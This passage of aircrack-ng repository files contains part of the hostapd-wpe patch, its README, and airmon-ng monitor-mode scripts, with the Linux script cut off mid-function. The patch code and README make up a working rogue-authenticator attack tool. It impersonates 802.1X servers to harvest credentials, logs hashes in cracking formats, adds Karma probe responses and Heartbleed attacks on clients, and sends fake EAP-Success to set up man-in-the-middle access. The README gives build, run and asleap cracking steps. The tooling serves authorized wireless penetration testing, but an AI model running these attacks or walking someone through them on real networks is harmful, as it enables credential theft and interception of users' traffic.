+ .wpe_enable_return_success = 0,
+#if OPENSSL_VERSION_NUMBER < 0x10100000L
+ .wpe_hb_send_before_handshake = 1,
+ .wpe_hb_send_before_appdata = 0,
+ .wpe_hb_send_after_appdata = 0,
+ .wpe_hb_payload_size = 50000,
+ .wpe_hb_num_tries = 1,
+ .wpe_hb_num_repeats = 10
+#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */
+};
+
+void wpe_log_file_and_stdout(char const *fmt, ...) {
+
+ if ( wpe_conf.wpe_logfile_fp == NULL ) {
+ wpe_conf.wpe_logfile_fp = fopen(wpe_conf.wpe_logfile, "a");
+ if ( wpe_conf.wpe_logfile_fp == NULL )
+ printf("WPE: Cannot file log file");
+ }
+
+ va_list ap;
+
+ va_start(ap, fmt);
+ vprintf(fmt, ap);
+ va_end(ap);
+
+ va_start(ap, fmt);
+ if ( wpe_conf.wpe_logfile_fp != NULL )
+ vfprintf(wpe_conf.wpe_logfile_fp, fmt, ap);
+ va_end(ap);
+}
+
+void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len) {
+ time_t nowtime;
+ int x;
+
+ nowtime = time(NULL);
+
+ wpe_log_file_and_stdout("\n\n%s: %s", type, ctime(&nowtime));
+ wpe_log_file_and_stdout("\t username:\t");
+ for (x=0; x<username_len; x++)
+ wpe_log_file_and_stdout("%c",username[x]);
+ wpe_log_file_and_stdout("\n");
+
+ wpe_log_file_and_stdout("\t challenge:\t");
+ for (x=0; x<challenge_len - 1; x++)
+ wpe_log_file_and_stdout("%02x:",challenge[x]);
+ wpe_log_file_and_stdout("%02x\n",challenge[x]);
+
+ wpe_log_file_and_stdout("\t response:\t");
+ for (x=0; x<response_len - 1; x++)
+ wpe_log_file_and_stdout("%02x:",response[x]);
+ wpe_log_file_and_stdout("%02x\n",response[x]);
+
+ if (strncmp(type, "mschapv2", 8) == 0 || strncmp(type, "eap-ttls/mschapv2", 17) == 0) {
+ wpe_log_file_and_stdout("\t jtr NETNTLM:\t\t");
+ for (x=0; x<username_len; x++)
+ wpe_log_file_and_stdout("%c",username[x]);
+ wpe_log_file_and_stdout(":$NETNTLM$");
+ for (x=0; x<challenge_len; x++)
+ wpe_log_file_and_stdout("%02x",challenge[x]);
+ wpe_log_file_and_stdout("$");
+ for (x=0; x<response_len; x++)
+ wpe_log_file_and_stdout("%02x",response[x]);
+ wpe_log_file_and_stdout("\n");
+
+ wpe_log_file_and_stdout("\t hashcat NETNTLM:\t");
+ for (x=0; x<username_len; x++)
+ wpe_log_file_and_stdout("%c",username[x]);
+ wpe_log_file_and_stdout("::::");
+ for (x=0; x<response_len; x++)
+ wpe_log_file_and_stdout("%02x",response[x]);
+ wpe_log_file_and_stdout(":");
+ for (x=0; x<challenge_len; x++)
+ wpe_log_file_and_stdout("%02x",challenge[x]);
+ wpe_log_file_and_stdout("\n");
+
+ }
+}
+
+void wpe_log_basic(char *type, const u8 *username, size_t username_len, const u8 *password, size_t password_len) {
+ time_t nowtime;
+ int x;
+
+ nowtime = time(NULL);
+
+ wpe_log_file_and_stdout("\n\n%s: %s",type, ctime(&nowtime));
+ wpe_log_file_and_stdout("\t username:\t");
+ for (x=0; x<username_len; x++)
+ wpe_log_file_and_stdout("%c",username[x]);
+ wpe_log_file_and_stdout("\n");
+
+ wpe_log_file_and_stdout("\t password:\t");
+ for (x=0; x<password_len; x++)
+ wpe_log_file_and_stdout("%c",password[x]);
+ wpe_log_file_and_stdout("\n");
+}
+
+/*
+ Taken from asleap, who took from nmap, who took from tcpdump :)
+*/
+void wpe_hexdump(unsigned char *bp, unsigned int length)
+{
+
+ /* stolen from tcpdump, then kludged extensively */
+
+ static const char asciify[] =
+ "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~.................................................................................................................................";
+
+ const unsigned short *sp;
+ const unsigned char *ap;
+ unsigned int i, j;
+ int nshorts, nshorts2;
+ int padding;
+
+ wpe_log_file_and_stdout("\n\t");
+ padding = 0;
+ sp = (unsigned short *)bp;
+ ap = (unsigned char *)bp;
+ nshorts = (unsigned int)length / sizeof(unsigned short);
+ nshorts2 = (unsigned int)length / sizeof(unsigned short);
+ i = 0;
+ j = 0;
+ while (1) {
+ while (--nshorts >= 0) {
+ wpe_log_file_and_stdout(" %04x", ntohs(*sp));
+ sp++;
+ if ((++i % 8) == 0)
+ break;
+ }
+ if (nshorts < 0) {
+ if ((length & 1) && (((i - 1) % 8) != 0)) {
+ wpe_log_file_and_stdout(" %02x ", *(unsigned char *)sp);
+ padding++;
+ }
+ nshorts = (8 - (nshorts2 - nshorts));
+ while (--nshorts >= 0) {
+ wpe_log_file_and_stdout(" ");
+ }
+ if (!padding)
+ wpe_log_file_and_stdout(" ");
+ }
+ wpe_log_file_and_stdout(" ");
+
+ while (--nshorts2 >= 0) {
+ wpe_log_file_and_stdout("%c%c", asciify[*ap], asciify[*(ap + 1)]);
+ ap += 2;
+ if ((++j % 8) == 0) {
+ wpe_log_file_and_stdout("\n\t");
+ break;
+ }
+ }
+ if (nshorts2 < 0) {
+ if ((length & 1) && (((j - 1) % 8) != 0)) {
+ wpe_log_file_and_stdout("%c", asciify[*ap]);
+ }
+ break;
+ }
+ }
+ if ((length & 1) && (((i - 1) % 8) == 0)) {
+ wpe_log_file_and_stdout(" %02x", *(unsigned char *)sp);
+ wpe_log_file_and_stdout(" %c",
+ asciify[*ap]);
+ }
+ wpe_log_file_and_stdout("\n");
+}
+
+
+#if OPENSSL_VERSION_NUMBER < 0x10100000L
+/* https://github.com/openssl/openssl/issues/2122 */
+
+void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg) {
+#ifdef TLS1_RT_HEARTBEAT
+ if (v_content_type == TLS1_RT_HEARTBEAT) {
+#elif defined(DTLS1_RT_HEARTBEAT)
+ if (v_content_type == DTLS1_RT_HEARTBEAT) {
+#endif
+ wpe_log_file_and_stdout("\n\nHeartbleed Data:\n");
+ v_ssl->tlsext_hb_pending = 1;
+ wpe_hexdump((unsigned char *)v_buf, v_len);
+ }
+}
+
+
+char *wpe_hb_clear() {
+ char *p;
+ // set payload size
+ p = &wpe_hb_msg[sizeof(wpe_hb_msg) - 3];
+ s2n(wpe_conf.wpe_hb_payload_size, p);
+
+ return wpe_hb_msg;
+}
+#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */
diff '--color=auto' -rupN hostapd-2.10/src/wpe/wpe.h hostapd-2.10-wpe/src/wpe/wpe.h
--- hostapd-2.10/src/wpe/wpe.h 1970-01-01 00:00:00.000000000 +0000
+++ hostapd-2.10-wpe/src/wpe/wpe.h 2022-02-21 23:29:30.160000000 +0000
@@ -0,0 +1,54 @@
+/*
+ wpe.h -
+ brad.antoniewicz@foundstone.com
+ Implements WPE (Wireless Pwnage Edition) functionality within
+ hostapd.
+
+ WPE functionality focuses on targeting connecting users. At
+ it's core it implements credential logging (originally
+ implemented in FreeRADIUS-WPE), but also includes other patches
+ for other client attacks.
+
+ FreeRADIUS-WPE: https://github.com/brad-anton/freeradius-wpe
+ Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff
+ Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd
+*/
+#include <openssl/ssl.h>
+
+struct wpe_config {
+ char *wpe_logfile;
+ FILE *wpe_logfile_fp;
+ unsigned int wpe_enable_karma;
+ unsigned int wpe_enable_cupid;
+ unsigned int wpe_enable_return_success;
+#if OPENSSL_VERSION_NUMBER < 0x10100000L
+ unsigned int wpe_hb_send_before_handshake:1;
+ unsigned int wpe_hb_send_before_appdata:1;
+ unsigned int wpe_hb_send_after_appdata:1;
+ unsigned int wpe_hb_payload_size;
+ unsigned int wpe_hb_num_tries;
+ unsigned int wpe_hb_num_repeats;
+#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */
+};
+
+extern struct wpe_config wpe_conf;
+
+#if OPENSSL_VERSION_NUMBER < 0x10100000L
+ extern char wpe_hb_msg[];
+ extern size_t wpe_hb_msg_len;
+
+ //#define WPE_HB_MSG_LEN 8
+#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */
+
+#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
+ (((unsigned int)(c[1])) )),c+=2)
+
+#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
+ c[1]=(unsigned char)(((s) )&0xff)),c+=2)
+
+
+void wpe_log_file_and_stdout(char const *fmt, ...);
+void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len);
+void wpe_log_basic(char *type, const u8 *username, size_t username_len, const u8 *password, size_t password_len);
+void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg);
+char *wpe_hb_clear(); |
Markdown | aircrack-ng/patches/wpe/hostapd-wpe/README.md | # About
hostapd-wpe is the replacement for [FreeRADIUS-WPE](http://www.willhackforsushi.com/?page_id=37).
It implements IEEE 802.1x Authenticator and Authentication Server impersonation attacks to obtain client credentials, establish connectivity to the client, and launch other attacks where applicable.
hostapd-wpe supports the following EAP types for impersonation:
1. EAP-FAST/MSCHAPv2 (Phase 0)
2. PEAP/MSCHAPv2
3. EAP-TTLS/MSCHAPv2
4. EAP-TTLS/MSCHAP
5. EAP-TTLS/CHAP
6. EAP-TTLS/PAP
Once impersonation is underway, hostapd-wpe will return an EAP-Success message so that the client believes they are connected to their legitimate authenticator.
For 802.11 clients, hostapd-wpe also implements Karma-style gratuitous probe responses. Inspiration for this was provided by [JoMo-Kun's patch](http://www.foofus.net/?page_id=115) for older versions of hostapd.
hostapd-wpe also implements CVE-2014-0160 (Heartbleed) attacks against vulnerable clients. Inspiration for this was provided by the [Cupid](https://github.com/lgrangeia/cupid) PoC.
hostapd-wpe logs all data to stdout and hostapd-wpe.log
# Quick Usage
Once hostapd-wpe.patch is applied, hostapd-wpe.conf will be created at /path/to/build/hostapd/hostapd-wpe.conf. See that file for more information. Note that /path/to/build/hostapd/hostapd-wpe.eap_users will also be created, and hostapd-wpe is dependent on it.
Basic usage is:
```
hostapd-wpe hostapd-wpe.conf
```
Credentials will be displayed on the screen and stored in hostapd-wpe.log
Additional WPE command line options are:
```
-s Return EAP-Success messages after credentials are harvested
-k Gratuitous probe responses (Karma mode)
-c Attempt to exploit CVE-2014-0160 (Cupid mode)
```
# Building
## Dependencies
- pkg-config
- libssl (1.0 ideally)
- libnl3 (and genl)
- sqlite3
Note: If libssl 1.1 is used, Heartbleed is not present due to issue #2122 in openssl GitHub repository
## Debian-based distro
```
apt-get install libssl-dev libnl-genl-3-dev libnl-3-dev pkg-config libsqlite3-dev build-essential wget --no-install-recommends
```
## General
```
wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/hostapd-wpe/hostapd-2.10-wpe.patch
wget https://w1.fi/releases/hostapd-2.10.tar.gz
tar -zxf hostapd-2.10.tar.gz
cd hostapd-2.10
patch -p1 < ../hostapd-2.10-wpe.patch
cd hostapd
```
Then:
```
make
make install
make wpe
```
# Creating certs
```
cd /etc/hostapd-wpe/certs
./bootstrap
make install
```
# Running
With all of that complete, you can run hostapd. The patch will create a new hostapd-wpe.conf, which you'll likely need to modify in order to make it work for your attack. Once ready just run
```
hostapd /etc/hostapd-wpe/hostapd-wpe.conf
```
Look in the output for the username/challenge/response. It'll be there and in a hostapd-wpe.log file in the directory you ran hostapd from for instance here are the EAP-FAST Phase 0 creds from stdout:
```
username: jdslfkjs
challenge: bc:87:6c:48:37:d3:92:6e
response: 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0
```
and finally, feed them into asleap to crack:
```
# asleap -C bc:87:6c:48:37:d3:92:6e -R 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0 -W wordlist
asleap 2.3 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
hash bytes: b1ca
NT hash: e614b958df9df49ec094b8730f0bb1ca
password: bradtest
```
Alternatively MSCHAPv2 credentials are outputted in john the rippers NETNTLM format.
## Troubleshooting
### OpenSSL: tls_global_ca_cert - Failed to load root certificates error:02001002:system library:fopen:No such file or directory
Certificates are not created. Follow the procedure above to create them
### nl80211 driver initialization failed.
One of the possible reasons is that other processes are using the interface. Running ```airmon-ng check kill``` fixes the issue (it will kill any network manager and network connection).
# EAP-Success
Certain EAP types do not require the server to authenticate itself, just to validate the client's submitted credentials. Since we're playing the authentication server, that means we can easily just return an EAP-Success message to the client regardless of what they send us. The client is happy because they've connected, but unfortunately are unaware that they are connected to an unapproved authenticator.
At this point, the attacker can set up a dhcp server and give the client an IP and then do whatever they'd like (e.g. redirect dns, launch attacks, MiTM, etc..)
MSCHAPv2 protects against this by having the server prove knowledge of the password most supplicants adhere to this policy, but we return EAP-Success just in case.
# Karma-Style Probes
This functionality simply waits for an client to send a directed probe, when it does, it assumes that SSID and responds to the client. Only applicable to 802.11 clients.
# A note on MSCHAPv2
Microsoft offers something called "Computer Based Authentication". When a computer joins a domain it is assigned a password. This password is stored on the system and in active directory. We can harvest the MSCHAPv2 response from these systems but its going to take a lifetime to crack. Unless you're just trying to solve for the hash, and not the actual password :)
One other thing to note, if the client returns all zeros, it isn't joined to a domain.
# Testing Heartbleed
If you're running Ubuntu and want to test Heartbleed you'll need to downgrade to a vulnerable version of OpenSSL. That can be done by:
```
wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/openssl_1.0.1-4ubuntu5.11_i386.deb
wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/libssl-dev_1.0.1-4ubuntu5.11_i386.deb
wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/libssl-doc_1.0.1-4ubuntu5.11_all.deb
wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb
sudo dpkg -i libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb
sudo dpkg --install libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb \
libssl-dev_1.0.1-4ubuntu5.11_i386.deb \
libssl-doc_1.0.1-4ubuntu5.11_all.deb \
openssl_1.0.1-4ubuntu5.11_i386.deb
```
Then use wpa_supplicant to connect to hostapd-wpe -c |
aircrack-ng/scripts/airmon-ng.freebsd | #!/bin/sh
if [ -n "$1" ] && [ -z "$2" ]; then
echo "Invalid command. Valid commands: [start|stop] INTERFACE."
exit 1
fi
if [ -n "$1" ]; then
if [ "$1" != 'stop' ] && [ "$1" != 'start' ]; then
echo "Invalid command. Valid commands: [start|stop] INTERFACE."
exit 1
fi
fi
if [ -n "$2" ]; then
ifconfig $2 >/dev/null 2>/dev/null
if [ $? -ne 0 ]; then
echo "Error: Interface $2 does not exist."
exit 1
fi
fi
COMMAND=$1
INTERFACE_TO_USE=$2
CHIPSET=""
DRIVER=""
PARENT=""
get_interface_info() {
[ -z "$1" ] && return
if [ -n "$(echo $1 | grep -E '^(ath|otus|urtwn)[0-9]+$' )" ]; then
DRIVER="$(echo $1 | sed 's/[0-9]*//g')"
elif [ -n "$(echo $1 | grep -E ^wlan[0-9]+$)" ]; then
# It most likely is a monitor interface.
IFACE_IDX=$(echo $1 | sed 's/[^0-9]*//g')
PARENT=$(sysctl net.wlan.${IFACE_IDX}.%parent | awk '{print $2}')
if [ -n "${PARENT}" ]; then
get_interface_info ${PARENT}
return
fi
fi
if [ "${DRIVER}" = "ath" ]; then
CHIPSET=$(dmesg | grep -E "^$1: <" | tail -n 1 | awk -F\< '{print $2}' | awk -F\> '{print $1}' )
elif [ "${DRIVER}" = "urtwn" ]; then
USB_INFO=$(dmesg | grep -E "^$1: <" | tail -n 1 | tr ',' '\n' | tail -n 1 | tr '>' ' ')
USB_ADDR=$(echo ${USB_INFO} | awk '{print $2}')
USB_BUS=$(echo ${USB_INFO} | awk '{print $4}' | sed 's/[^0-9]*//g')
VENDOR_ID=$(usbconfig -u ${USB_BUS} -a ${USB_ADDR} dump_device_desc | grep idVendor | awk '{print $3}')
PRODUCT_ID=$(usbconfig -u ${USB_BUS} -a ${USB_ADDR} dump_device_desc | grep idProduct | awk '{print $3}')
if [ "${VENDOR_ID}" = "0x0bda" ]; then
[ "${PRODUCT_ID}" = "0x8171" ] && CHIPSET="RTL8188SU"
[ "${PRODUCT_ID}" = "0x8172" ] && CHIPSET="RTL8191SU"
[ "${PRODUCT_ID}" = "0x8174" ] && CHIPSET="RTL8192SU"
[ "${PRODUCT_ID}" = "0x8176" ] && CHIPSET="RTL8188CUS"
[ "${PRODUCT_ID}" = "0x8178" ] && CHIPSET="RTL8192CU"
[ "${PRODUCT_ID}" = "0x8179" ] && CHIPSET="RTL8188EUS"
[ "${PRODUCT_ID}" = "0x817f" ] && CHIPSET="RTL8188RU"
[ "${PRODUCT_ID}" = "0x8192" ] && CHIPSET="RTL8191SU"
[ "${PRODUCT_ID}" = "0x8193" ] && CHIPSET="RTL8192DU"
[ "${PRODUCT_ID}" = "0x8199" ] && CHIPSET="RTL8187SU"
[ "${PRODUCT_ID}" = "0x8812" ] && CHIPSET="RTL8812AU"
[ "${PRODUCT_ID}" = "0x8187" ] && CHIPSET="RTL8187L"
elif [ "${VENDOR_ID}" = "0x06f8" ] && [ "${PRODUCT_ID}" = "0xe033" ]; then
CHIPSET="RTL8188CUS"
elif [ "${VENDOR_ID}" = "0x2001" ] && [ "${PRODUCT_ID}" = "0x3308" ]; then
CHIPSET="RTL8188CUS"
elif [ "${VENDOR_ID}" = "0x20f4" ] && [ "${PRODUCT_ID}" = "0x648b" ]; then
CHIPSET="RTL8188CUS"
elif [ "${VENDOR_ID}" = "0x7392" ] && [ "${PRODUCT_ID}" = "0x7811" ]; then
CHIPSET="RTL8188CUS"
elif [ "${VENDOR_ID}" = "0x2019" ]; then
[ "${PRODUCT_ID}" = "0xab2a" ] && CHIPSET="RTL8188CUS"
[ "${PRODUCT_ID}" = "0xed17" ] && CHIPSET="RTL8188CUS"
elif [ "${VENDOR_ID}" = "0x050d" ]; then
[ "${PRODUCT_ID}" = "0x1102" ] && CHIPSET="RTL8188CUS"
[ "${PRODUCT_ID}" = "0x11f2" ] && CHIPSET="RTL8188CUS"
elif [ "${VENDOR_ID}" = "0x0846" ]; then
[ "${PRODUCT_ID}" = "0x9041" ] && CHIPSET="RTL8188CUS"
[ "${PRODUCT_ID}" = "0x9042" ] && CHIPSET="RTL8188CUS"
[ "${PRODUCT_ID}" = "0x9043" ] && CHIPSET="RTL8188CUS"
fi
[ -z "${CHIPSET}" ] && CHIPSET="Report dmesg and usbconfig (dump commands) to http://trac.aircrack-ng.org"
elif [ "${DRIVER}" = "run" ]; then
CHIPSET="Ralink/Mediatek"
elif [ -n "${DRIVER}" ]; then
CHIPSET="Report dmesg and usbconfig (dump commands) to http://trac.aircrack-ng.org"
else
CHIPSET="Unknown"
[ -z "${DRIVER}" ] && DRIVER="Unknown"
fi
}
printf "\nInterface\tDriver\t\tChipset\n\n"
for IFACE in $(ifconfig -a | grep -E '^(wlan|ath|otus|urtwn)[0-9]+' | awk -F: '{print $1}' )
do
get_interface_info ${IFACE}
printf "${IFACE}\t\t${DRIVER}\t\t${CHIPSET}\n\n"
if [ -n "${PARENT}" ]; then
printf "\t(monitor mode interface. Parent: ${PARENT})\n"
fi
if [ "${INTERFACE_TO_USE}" = "${IFACE}" ]; then
if [ "${COMMAND}" = 'start' ]; then
if [ -n "${PARENT}" ]; then
printf "\t Interface is already in monitor mode, ignoring\n"
else
MONITOR_IFACE=$(ifconfig wlan create wlandev ${IFACE} wlanmode monitor)
if [ $? -eq 0 ]; then
printf "\tCreated monitor mode interface ${MONITOR_IFACE} from ${IFACE}\n"
else
printf "\tFailed creating monitor interface\n"
fi
fi
elif [ "${COMMAND}" = 'stop' ]; then
ifconfig ${IFACE} destroy 2>/dev/null
if [ $? -ne 0 ]; then
printf "\tFailed to remove monitor mode interface ${IFACE}\n"
else
printf "\tDestroyed monitor interface ${IFACE}\n"
fi
fi
fi
done
exit 0 |
|
aircrack-ng/scripts/airmon-ng.linux | #!/bin/sh
DEBUG="0"
VERBOSE="0"
ELITE="0"
USERID=""
checkvm_status=""
MAC80211=0
WIRELESS_TOOLS="0"
IW_SOURCE="https://mirrors.edge.kernel.org/pub/software/network/iw/iw-5.19.tar.xz"
IW_ERROR=""
if [ ! -d '/sys/' ]; then
printf "CONFIG_SYSFS is disabled in your kernel, this program will not work.\n"
exit 1
fi
if ! mountpoint -q -- /sys; then
printf "/sys is not mounted, you can probably mount it with:\n"
printf "mount -t sysfs sysfs /sys\n"
printf "This program cannot continue without a working sysfs.\n"
exit 1
fi
if [ ! -d '/sys/class' ]; then
printf "This program cannot continue without a working sysfs.\n"
printf "/sys/class is missing\n"
exit 1
fi
if [ ! -d '/sys/class/net' ]; then
printf "This program cannot continue without a working sysfs.\n"
printf "/sys/class/net is missing\n"
exit 1
fi
if [ "${1}" = "--elite" ]; then
shift
ELITE="1"
fi
if [ "${1}" = "--verbose" ]; then
shift
VERBOSE="1"
fi
if [ "${1}" = "--debug" ]; then
shift
DEBUG="1"
VERBOSE="1"
fi
#yes, I know this is in here twice
if [ "${1}" = "--elite" ]; then
shift
ELITE="1"
fi
if [ -n "${3}" ];then
if [ "${3}" -gt 0 ] > /dev/null 2>&1; then
CH="${3}"
else
printf "\nYou have entered an invalid channel \"%s\" which will be ignored\n" "${3}"
CH=3
fi
else
CH=10
fi
#TODO LIST
#cleanup getDriver()
#fix to not assume wifi drivers are modules
#rewrite to not have two devices at any one time
if [ -n "$(command -v id 2> /dev/null)" ]; then
USERID="$(id -u 2> /dev/null)"
fi
if [ -z "${USERID}" ] && [ -n "$(id -ru)" ]; then
USERID="$(id -ru)"
fi
if [ -n "${USERID}" ] && [ "${USERID}" != "0" ]; then
printf "Run it as root\n" ; exit 1;
elif [ -z "${USERID}" ]; then
printf "Unable to determine user id, permission errors may occur.\n"
fi
#check for all needed binaries
if [ ! -x "$(command -v uname 2>&1)" ]; then
printf "How in the world do you not have uname installed?\n"
printf "Please select a linux distro which has at least basic functionality (or install uname).\n"
exit 1
fi
if [ ! -x "$(command -v ip 2>&1)" ] && [ ! -x "$(command -v ifconfig 2>&1)" ]; then
printf "You have neither ip (iproute2) nor ifconfig installed.\n"
printf "Please install one of them from your distro's package manager.\n"
exit 1
fi
if [ ! -x "$(command -v iw 2>&1)" ]; then
printf "You don't have iw installed, please install it from your distro's package manager.\n"
printf "If your distro doesn't have a recent version you can download it from this link:\n"
printf "%s\n" "${IW_SOURCE}"
exit 1
fi
if [ ! -x "$(command -v ethtool 2>&1)" ]; then
printf "Please install the ethtool package for your distro.\n"
exit 1
fi
if [ -d /sys/bus/usb ]; then
if [ ! -x "$(command -v lsusb 2>&1)" ]; then
printf "Please install lsusb from your distro's package manager.\n"
exit 1
else
LSUSB=1
fi
else
LSUSB=0
fi
if [ -x "$(command -v iwconfig 2>&1)" ]; then
WIRELESS_TOOLS="1"
fi
wireless_tools_whine() {
printf "This function requires deprecated wireless-tools to support your hardware/driver but it is not installed\n"
printf "Please install the wireless-tools package for your distro, or use different hardware.\n"
exit 1
}
if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ]; then
PCI_DEVICES=0
if [ -d /sys/bus/pci/devices ] && [ "$(find /sys/bus/pci/devices -type l 2>/dev/null | wc -l)" != '0' ]; then
PCI_DEVICES=1
elif [ -r /proc/bus/pci/devices ] && [ -n "$(cat /proc/bus/pci/devices 2>/dev/null)" ]; then
PCI_DEVICES=1
elif [ -d /sys/bus/pci_express/devices ] && [ "$(find /sys/bus/pci_express/devices -type l 2>/dev/null | wc -l)" != '0' ]; then
PCI_DEVICES=1
fi
if [ ${PCI_DEVICES} -eq 0 ]; then
LSPCI=0
elif [ ! -x "$(command -v lspci 2>&1)" ]; then
printf "Please install lspci from your distro's package manager.\n"
exit 1
else
LSPCI=1
fi
else
LSPCI=0
fi
if [ -f /proc/modules ] || [ -d /sys/module ]; then
if [ ! -x "$(command -v modprobe 2>&1)" ]; then
printf "Your kernel has module support but you don't have modprobe installed.\n"
printf "It is highly recommended to install modprobe (typically from kmod).\n"
MODPROBE=0
else
MODPROBE=1
fi
if [ ! -x "$(command -v modinfo 2>&1)" ]; then
printf "Your kernel has module support but you don't have modinfo installed.\n"
printf "It is highly recommended to install modinfo (typically from kmod).\n"
printf "Warning: driver detection without modinfo may yield inaccurate results.\n"
MODINFO=0
else
MODINFO=1
fi
else
MODINFO=0
fi
if [ -c /dev/rfkill ]; then
if [ ! -x "$(command -v rfkill 2>&1)" ];then
printf "Your kernel supports rfkill but you don't have rfkill installed.\n"
printf "To ensure devices are unblocked you must install rfkill.\n"
RFKILL=0
else
RFKILL=1
fi
else
RFKILL=0
fi
if [ ! -x "$(command -v awk 2>&1)" ]; then
printf "How in the world do you not have awk installed?\n"
printf "Please select a linux distro which has at least basic functionality (or install awk).\n"
exit 1
fi
if [ ! -x "$(command -v grep 2>&1)" ]; then
printf "How in the world do you not have grep installed?\n"
printf "Please select a linux distro which has at least basic functionality (or install grep).\n"
exit 1
fi
#done checking for binaries
usage() {
printf "usage: %s <start|stop|check> <interface> [channel or frequency]\n\n" "$(basename "$0")"
exit 0
}
handleLostPhys() {
MISSING_INTERFACE=""
if [ -d /sys/class/ieee80211 ]; then
for i in /sys/class/ieee80211/*; do
if [ -e "${i}" ] && [ ! -d "${i}/device/net" ]; then
MISSING_INTERFACE="${i##*/}"
printf "\nFound %s with no interfaces assigned, would you like to assign one to it? [y/n] " "${MISSING_INTERFACE}"
yesorno
retcode=$?
if [ "${retcode}" = "1" ]; then
printf "PHY %s will remain lost.\n" "${MISSING_INTERFACE}"
elif [ "${retcode}" = "0" ]; then
PHYDEV=${MISSING_INTERFACE}
findFreeInterface monitor
fi
fi
done
fi
#add some spacing so this doesn't make the display hard to read
printf "\n"
}
findFreeInterface() {
if [ -z "${1}" ]; then
printf "findFreeInterface needs a target mode.\n"
exit 1
fi
if [ "${1}" != "monitor" ] && [ "${1}" != "station" ]; then
printf "findFreeInterface only supports monitor and station for target mode.\n"
exit 1
fi
target_mode="${1}"
if [ "$target_mode" = "monitor" ]; then
target_suffix="mon"
target_type="803"
else
target_suffix=""
target_type="1"
fi
for i in $(seq 0 100); do
if [ "$i" = "100" ]; then
printf "\n\tUnable to find a free name between wlan0 and wlan99, you are on your own from here.\n"
return 1
fi
if [ "$DEBUG" = "1" ]; then
printf "\nChecking candidate wlan%s\n" "${i}"
fi
if [ ! -e "/sys/class/net/wlan${i}" ]; then
if [ "${DEBUG}" = "1" ]; then
printf "\nCandidate wlan%s is not in use\n" "${i}"
fi
if [ ! -e "/sys/class/net/wlan${i}mon" ]; then
if [ "$DEBUG" = "1" ]; then
printf "\nCandidate wlan%s and wlan%smon are both clear, creating wlan%s%s\n" "${i}" "${i}" "${i}" "${target_suffix}"
fi
IW_ERROR="$(iw phy "${PHYDEV}" interface add "wlan${i}${target_suffix}" type "${target_mode}" 2>&1)"
if [ -z "${IW_ERROR}" ]; then
if [ -d "/sys/class/ieee80211/${PHYDEV}/device/net" ]; then
#this should be fixed, but it's not going to be right now
# shellcheck disable=2045
for j in $(ls "/sys/class/ieee80211/${PHYDEV}/device/net/"); do
if [ "$(cat "/sys/class/ieee80211/${PHYDEV}/device/net/${j}/type")" = "${target_type}" ]; then
#here is where we catch udev renaming our interface
k="${j#wlan}"
i="${k%mon}"
fi
done
else
printf "Unable to create wlan%s%s and no error received.\n" "${i}" "${target_suffix}"
return 1
fi
printf "\n\t\t(mac80211 %s mode vif enabled on [%s]wlan%s%s)\n" "${target_mode}" "${PHYDEV}" "${i}" "${target_suffix}"
unset IW_ERROR
break
else
printf "\n\n ERROR adding %s mode interface: %s\n" "${target_mode}" "${IW_ERROR}"
break
fi
else
if [ "$DEBUG" = "1" ]; then
printf "\nCandidate wlan%s does not exist, but wlan%smon does, skipping...\n" "${i}" "${i}"
fi
fi
else
if [ "$DEBUG" = "1" ]; then
printf "\nCandidate wlan%s is in use already.\n" "${i}"
fi
fi
done
}
rfkill_check() {
#take phy and check blocks
if [ "${RFKILL}" = 0 ]; then
#immediately return if rfkill isn't supported
return 0
fi
if [ -z "${1}" ]; then
printf "Fatal, rfkill_check requires a phy to be passed in\n"
exit 1
fi
#first we have to find the rfkill index
#this is available as /sys/class/net/wlan0/phy80211/rfkill## but that's a bit difficult to parse
index="$(rfkill list | grep "${1}:" | awk -F: '{print $1}')"
if [ -z "$index" ]; then
return 187
fi
rfkill_status="$(rfkill list "${index}" 2>&1)"
# it's easier to capture and check this way, but a refactor could make it simpler and safer
# shellcheck disable=2181
if [ $? != 0 ]; then
printf "rfkill error: %s\n" "${rfkill_status}"
return 187
elif [ -z "${rfkill_status}" ]; then
printf "rfkill had no output, something went wrong.\n"
exit 1
else
soft=$(printf "%s" "${rfkill_status}" | grep -i soft | awk '{print $3}')
hard=$(printf "%s" "${rfkill_status}" | grep -i hard | awk '{print $3}')
if [ "${soft}" = "yes" ] && [ "${hard}" = "no" ]; then
return 1
elif [ "${soft}" = "no" ] && [ "${hard}" = "yes" ]; then
return 2
elif [ "${soft}" = "yes" ] && [ "${hard}" = "yes" ]; then
return 3
fi
fi
return 0
}
rfkill_unblock() {
#attempt unblock and CHECK SUCCESS
